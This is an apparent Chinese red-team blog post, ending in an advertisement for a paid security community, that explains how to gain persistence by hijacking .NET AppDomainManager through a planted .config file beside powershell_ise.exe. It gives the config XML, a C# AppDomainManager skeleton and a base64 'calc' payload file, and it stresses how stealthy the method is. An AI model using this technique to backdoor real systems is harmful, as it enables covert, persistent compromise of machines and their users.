在红队活动中,权限维持是关键阶段之一。利用 .NET 提供的应用程序域管理功能,攻击者可以通过自定义 AppDomainManager 注入后门逻辑,并利用目标系统中的现有 .NET 可执行文件触发后门。本篇文章将结合实战,介绍如何利用 appDomainManagerType 和 appDomainManagerAssembly 配置选项,在目标系统上执行任意命令。
.NET 的配置文件支持自定义 AppDomainManager,允许攻击者指定程序集和类来扩展或修改应用程序域的行为。通过在目标程序的 .config 文件中注入自定义配置并提供对应的恶意 DLL,当目标程序启动时,CLR 会加载并执行自定义 AppDomainManager 中的逻辑。
在此攻击中,攻击者通过appDomainManagerAssembly,指定包含自定义的程序集名称,具体语法如下所示。
<configuration>
<runtime>
<appDomainManagerAssembly>AssemblyName</appDomainManagerAssembly>
</runtime>
</configuration>
AssemblyName:程序集的名称(不包括扩展名 .dll),即包含自定义 AppDomainManager 类的程序集。实战中会指向同目录下的自定义DLL文件,比如:Sharp4AppDomainManagerDLL
<runtime>
<appDomainManagerAssembly value="Sharp4AppDomainManagerDLL" />
</runtime>
在此攻击中,攻击者通过appDomainManagerType 指定自定义的 AppDomainManager 类的完整限定名称(包括命名空间),语法如下所示。
此处,CustomAppDomainManager:表示 AppDomainManager 类的全限定名称,包含命名空间和类名。<configuration>
<runtime>
<appDomainManagerType>Namespace.CustomAppDomainManager</appDomainManagerType>
</runtime>
</configuration>
创建自定义 AppDomainManager 类 必须继承自 AppDomainManager 类,并可以重写其方法来自定义行为。例如:
using System;
namespace MyNamespace
{
public class CustomAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
base.InitializeNewDomain(appDomainInfo);
Console.WriteLine("Custom AppDomainManager initialized.");
}
}
}
将上述代码编译为 CustomAppDomainManagerAssembly.dll,在应用程序的 .config 文件中,按照前述的方式设置 appDomainManagerAssembly 和 appDomainManagerType。
实战中以 powershell_ise.exe 为例,在同级目录新建.config文件,然后添加如下配置。
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<appDomainManagerType value="AppDomainManagerDLL.Sharp4AppDomainManagerDLL" />
<appDomainManagerAssembly value="Sharp4AppDomainManagerDLL" />
</runtime>
</configuration>
接着,Sharp4AppDomainManagerDLL文件复制到同级目录中,再向 cmd2base64.txt 注入载荷,内容为 Y2FsYw==,对应 calc 的 Base64 编码。
当运行 powershell_ise.exe ,会触发自定义 AppDomainManager 加载并执行后门逻辑,相关星球主题如下所示。
综上,通过 .NET 的自定义应用程序域管理功能,攻击者可以利用目标系统中的 .NET 可执行程序轻松实现后门注入和命令执行。本文所述方法不仅技术门槛低,而且具有高度隐蔽性。在红队活动中,此方法为权限维持提供了一种高效而隐蔽的手段,同时也提醒安全团队加强对 .config 文件的监控与防护,文章涉及的工具已打包在星球,感兴趣的朋友可以加入自取。
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!
星球文化始终认为授人以鱼不如授人以渔!星球整理出 20+ 个专题栏目涵盖 .NET安全 点、线、面、体等知识范围,助力师傅们实战攻防!其中主题包括.NET 内网攻防、漏洞分析、内存马、代码审计、预编译、反序列化、WebShell免杀、命令执行、工具库等等。
截至当前,dot.Net安全矩阵星球社区汇聚了 600+ 个实用工具和高质量PDF学习资料。这些资源涵盖了攻防对抗的各个方面,在实战中能够发挥显著作用,为对抗突破提供强有力的支持。
我们还有多个成员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。星球门票后期价格随着内容和质量的不断沉淀会适当提高,因此越早加入越好!